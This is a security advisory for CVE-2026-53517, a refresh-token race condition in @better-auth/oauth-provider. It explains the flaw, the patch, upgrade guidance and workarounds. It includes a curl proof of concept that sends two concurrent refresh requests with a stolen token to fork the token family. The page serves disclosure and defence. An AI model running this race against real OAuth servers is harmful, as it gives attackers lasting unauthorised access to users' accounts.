CVE-2026-53517: @better-auth/oauth-provider Refresh Token Family Fork via Race Condition
A race condition in the OAuth provider's token endpoint lets two concurrent requests redeem the same refresh token before either revocation is written, forking the token family and granting indefinite
The problem
The `POST /oauth2/token` endpoint's `refresh_token` grant performs a non-atomic read / validate / revoke / mint sequence on the `oauthRefreshToken` row. Two concurrent requests presenting the same parent token both pass the `revoked` check before either write completes, so each mints a fresh refresh token.
This creates a forked token family. The replay-detection branch only fires when `revoked` is already truthy at read time, which is exactly the state a race skips past. An attacker holding one stolen refresh token can use this fork to maintain indefinite access at the original user's authorization scope, even if one branch is later revoked.
Proof of concept
A working proof-of-concept for CVE-2026-53517 in @better-auth/oauth-provider, with the exact payload below.
# Send both requests in parallel (e.g. with curl --parallel or two browser tabs)
# Request A
curl -s -X POST https://auth.example.com/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=refresh_token&refresh_token=STOLEN_RT&client_id=CLIENT_ID' &
# Request B (same refresh_token, same instant)
curl -s -X POST https://auth.example.com/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=refresh_token&refresh_token=STOLEN_RT&client_id=CLIENT_ID' &
wait
# Both return 200 with distinct new refresh_tokens (RT_A and RT_B).
# Attacker holds RT_B; legitimate user holds RT_A.
# Revoking RT_A does not invalidate RT_B — family is now forked.The root cause is a TOCTOU race (CWE-367): the revocation check (`if (token.revoked) ...`) is a separate DB read from the update that marks the row revoked. The `adapter.update` predicate was keyed on `id` only, so two concurrent writes both succeed (last-write-wins), and two fresh tokens are minted from one parent.
The patch adds an atomic compare-and-swap: `UPDATE oauthRefreshToken SET revoked = NOW() WHERE id = ? AND revoked IS NULL`. If the row was already revoked (by a racing request), the update matches zero rows, the operation fails closed, and the loser gets `invalid_grant`.
The `oauthRefreshToken.token` column also gains a `UNIQUE` constraint as defense-in-depth (CWE-294, CWE-613).
A companion fix in `@better-auth/memory-adapter` makes the `eq null` predicate treat `undefined` and `null` as equivalent, matching SQL `IS NULL` semantics so the CAS predicate works correctly against the in-memory adapter too.
The fix
Upgrade to `@better-auth/oauth-provider@1.6.11` (or `better-auth@1.6.11`). The rotation primitive is now atomic and the losing concurrent request receives `invalid_grant`.
If you cannot upgrade immediately: add a row-level pessimistic lock (`SELECT ... FOR UPDATE`) around the refresh handler at the adapter level, or set `oauthProvider({ refreshTokenExpiresIn: 60 })` to minimize the attacker's persistence window. Neither fully closes the race without the code patch.
For existing database installs, the unique constraint on `oauthRefreshToken.token` is not emitted automatically by `migrate`/`generate`. Add it manually: `CREATE UNIQUE INDEX oauth_refresh_token_token_uniq ON "oauthRefreshToken" (token);`
Reported by chdanielmueller.
Related research
- high · 8.1CVE-2026-53518CVE-2026-53518: @better-auth/oauth-provider Authorization Code Race Condition Allows Duplicate Token Issuance
- high · 8.3CVE-2026-49229CVE-2026-49229: @actual-app/sync-server Insufficient Session Expiration on User Disable
- high · 8.5CVE-2026-54353CVE-2026-54353: @budibase/backend-core SSRF DNS Rebinding Bypass
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration